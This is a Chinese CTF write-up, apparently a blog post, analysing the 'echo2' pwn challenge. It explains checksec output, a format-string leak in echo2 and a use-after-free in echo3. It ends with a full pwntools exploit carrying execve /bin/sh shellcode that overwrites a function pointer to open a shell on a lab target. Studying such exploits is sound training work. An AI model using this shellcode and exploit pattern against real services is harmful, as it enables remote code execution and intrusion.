分析漏洞文件: 1)通过checksec分析漏洞文件的安全属性: Arch:amd64-64-little,程序架构信息,可以看出这是一个64位的程序。 RELRO:Partial RELRO,重定位表只读,无法写入。这里的显示是部分只读代表GOT(Global Offset Table)中的非plt部分是只读的,got.plt是可写的;Full RELRO则是整个GOT都是只读。 Stack:No canary found,这是canary是栈的一种保护方式,会在栈中加入用于验证是否溢出的cookie值,如果cookie值改变则代表溢出,会马上结束程序。这里没有设置canary。 NX:确保数据、堆栈所在的内存页等不可执行,这样就无法将写入缓冲区的shellcode执行,而其他区域(如代码段)不可写入。 PIE:随机化ELF文件的映射地址,无法知道程序的内存布局。 Has RWX segments:有可读写执行的段。 2)动态分析,通过本地执行程序分析其可能存在的漏洞: 首先它让我们输入一个名字,我们随便输入一个cxk,之后就让我们选择类型,我们选择1,发现显示not supported。 然后选择2,它会出现一个hello cxk,然后我们可以输入内容,输入rap。结果它返回一个rap然后显示goodbye cxk。 继续选择3,它的效果和2选项的效果相似。 最后选择4退出,会发现它会让你确认是否退出,这里选择n则会继续进行选择。 继续选4退出的话就出现了报错,并直接结束程序。 这里提示我们对同一内存单元进行了两次free()操作,所以出现了错误。我们可以判断这个程序的退出选项存在一些问题,而double free detected in tcache 2 的提示说明可能在上一次退出的时,它已将内存单元进行了free操作,而此时由于我们直接退出,所以它又将上一次的那块内存单元有一次进行了free操作,这就是导致报错的原因。 free操作:释放内存空间;这里只是将内存标记位可使用,内存空间中原有的数据内容还有保留。 3)静态分析,使用IDA查看程序反编译出来的伪代码: 将程序拖入IDA(64位)中选中主函数,然后按F5查看伪代码。 程序主函数代码: int __cdecl main(int argc, const char **argv, const char **envp) { _QWORD *v3; // rax unsigned int i; // [rsp+Ch] [rbp-24h] BYREF _QWORD v6[4]; // [rsp+10h] [rbp-20h] BYREF
setvbuf(stdout, 0LL, 2, 0LL); setvbuf(stdin, 0LL, 1, 0LL); o = malloc(0x28uLL); *((_QWORD *)o + 3) = greetings; ((_QWORD )o + 4) = byebye; printf("hey, what's your name? : "); __isoc99_scanf("%24s", v6); v3 = o; (_QWORD )o = v6[0]; v3[1] = v6[1]; v3[2] = v6[2]; id = v6[0]; getchar(); func[0] = (__int64)echo1; qword_602088 = (__int64)echo2; qword_602090 = (__int64)echo3; for ( i = 0; i != 121; i = getchar() ) { while ( 1 ) { while ( 1 ) { puts("\n- select echo type -"); puts("- 1. : BOF echo"); puts("- 2. : FSB echo"); puts("- 3. : UAF echo"); puts("- 4. : exit"); printf("> "); __isoc99_scanf("%d", &i); getchar(); if ( i > 3 ) break; ((void ()(void))func[i - 1])(); } if ( i == 4 ) break; puts("invalid menu"); } cleanup(); printf("Are you sure you want to exit? (y/n)"); } puts("bye"); return 0; } 我们先从退出程序处的代码入手分析, 通过执行时的效果我们可以很容易就了解到这里的代码含义,scanf将我们输入的数存入i中,然后根据i来分别执行不同的程序。 这里(func[i-1])();是函数的另一种写法(函数地址)(参数);在前一个括号中写入函数地址,后一个括号中写入参数就能调用此函数了。举例:puts(“abcd”); 相当于:(puts)(abcd)。func数组是一个函数数组,数组中每一个元素都是函数地址。 如图,将函数地址存入数组中。qword_602088是func[1],只是IDA在反编译时没有将其反编译出来就用字节大小加地址来标识了。点击qword_602088可以看到具体情况。dq ?表示这里还没有存入变量。 分析代码我们可以知道在我们选择4的时候,程序会先执行一个cleanup函数然后再显示是否选择退出。点击函数cleanup查看其内容: cleanup的作用就是清楚指针o所指向的内存空间,这时候返回主函数查看指针o的内容。 o申请了0x28大小的内存空间,里面存入了greetings函数和byebye函数。 这时我们就清楚程序报错的原因了,程序在开始执行时向函数指针o中存入数据,当我们第一次退出时它会先free函数指针o指向的内存空间(标识为可使用),然后当我们第二次退出时就会因为函数指针o已经为以为可使用,但还要执行free操作而报错。 这里是释放了堆空间,并没有清除指针o。 分析echo2函数: ((o+3))(o)和前面一样是函数的另一种写法(o+3)就是greetings函数,(o+4)是byebye函数,echo2函数的功能是将我们输入的内容进行打印,这里的printf没有做格式化输出,存在一个格式化字符串漏洞,可以让我们读取内存地址。
格式化字符串漏洞: 在使用printf时,要求格式化输出字符,%x,%d,%c等,然后再根据后面传入的参数地址,去打印出来。在执行printf函数的过程中,如果我们没有传入参数的地址,那么它会自动地去栈中相应位置读取数据进行打印。 格式化字符串漏洞的关键在于利用格式化参数,格式化参数是一个会存储在栈上的变量,这个变量如果被我们修改成指定地址,那么printf在执行时就会读取到该处的内容。但是单纯的地址变量是不能够获取到我们想要的内容的,所以在变量之后我们要加上格式化参数去偏移读取并解释我们输入地址的内容。
分析echo3函数: echo3函数有创建堆空间的操作,并且还能向该内存空间进行写入操作,结合之前退出时先释放指针o的堆空间的操作,这里存在一个UAF漏洞。
UAF(use after free): 在堆空间被释放过后,马上申请一个非fast bin规格大小的堆空间,那么就会从unsorted bin中获得该堆空间,而这给堆空间就是刚才释放的堆空间。 用本实验的程序为例,我们释放o的堆空间后,马上又申请堆空间,那么我们得到的就是o的堆空间,o的堆空间(o+3)和(o+4)都是函数地址,echo3最后执行了(o+4),如果我们向(o+4)处写入我们写入的代码的地址,那么echo3函数最后执行的就是我们写入的代码。 利用漏洞 1)漏洞利用思路: 在开始输入要求输入name时写入shellcode,通过echo2函数的格式化字符串漏洞确认我们写入的shellcode的地址;然后选择退出,释放o的堆空间,选择n取消退出;再通过echo3函数让指针s指向之前o的堆空间(利用UAF),然后通过指针s修改(o+4)处的地址,改为我们shellcode的地址,然后执行我们的shellcode。 2)编写exp from pwn import *
#p=process("./echo2") #本地执行程序 p=remote("192.168.10.128",2023) #连接远程靶机 #elf=ELF("./echo2")
p.recvuntil("hey, what's your name? : ") #接收到该内容 shellcode=b"\x31\xf6\x48\xbb\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x56\x53\x54\x5f\x6a\x3b\x58\x31\xd2\x0f\x05" p.sendline(shellcode) #写入shellcode p.recvuntil(b"> ") p.sendline(b"2")
payload=b"%10$p"+b"A"*3 #利用格式化字符串漏洞获取地址,AAA是为了方便读取 p.sendline(payload) p.recvuntil(b"0x") shellcode_addr=int(p.recvuntil(b'AAA',drop=True),16)-0x20 #获取shellcode地址,-0x20是减去了shellcode大小和return address、prev rbp
p.recvuntil(b"> ") p.sendline(b"4") p.recvuntil(b"to exit? (y/n)") p.sendline(b"n")
p.recvuntil(b"> ") p.sendline(b"3") p.recvuntil(b"hello \n") p.sendline(b"A"*24+p64(shellcode_addr)) #先填写24字节的脏数据(o的数据宽度为QDWORD,4字大小。)的,然后在(o+4)的位置写入shellcode地址 p.interactive() #开始交互 最后用python执行我们编写的exp: 最后成功执行我们写入的shellcode,获得shell。查看用户名和flag都是远程靶机上的信息。
标签:复习,puts,写入,地址,pwn,shellcode,我们,函数 From: https://blog.51cto.com/u_15954070/6181574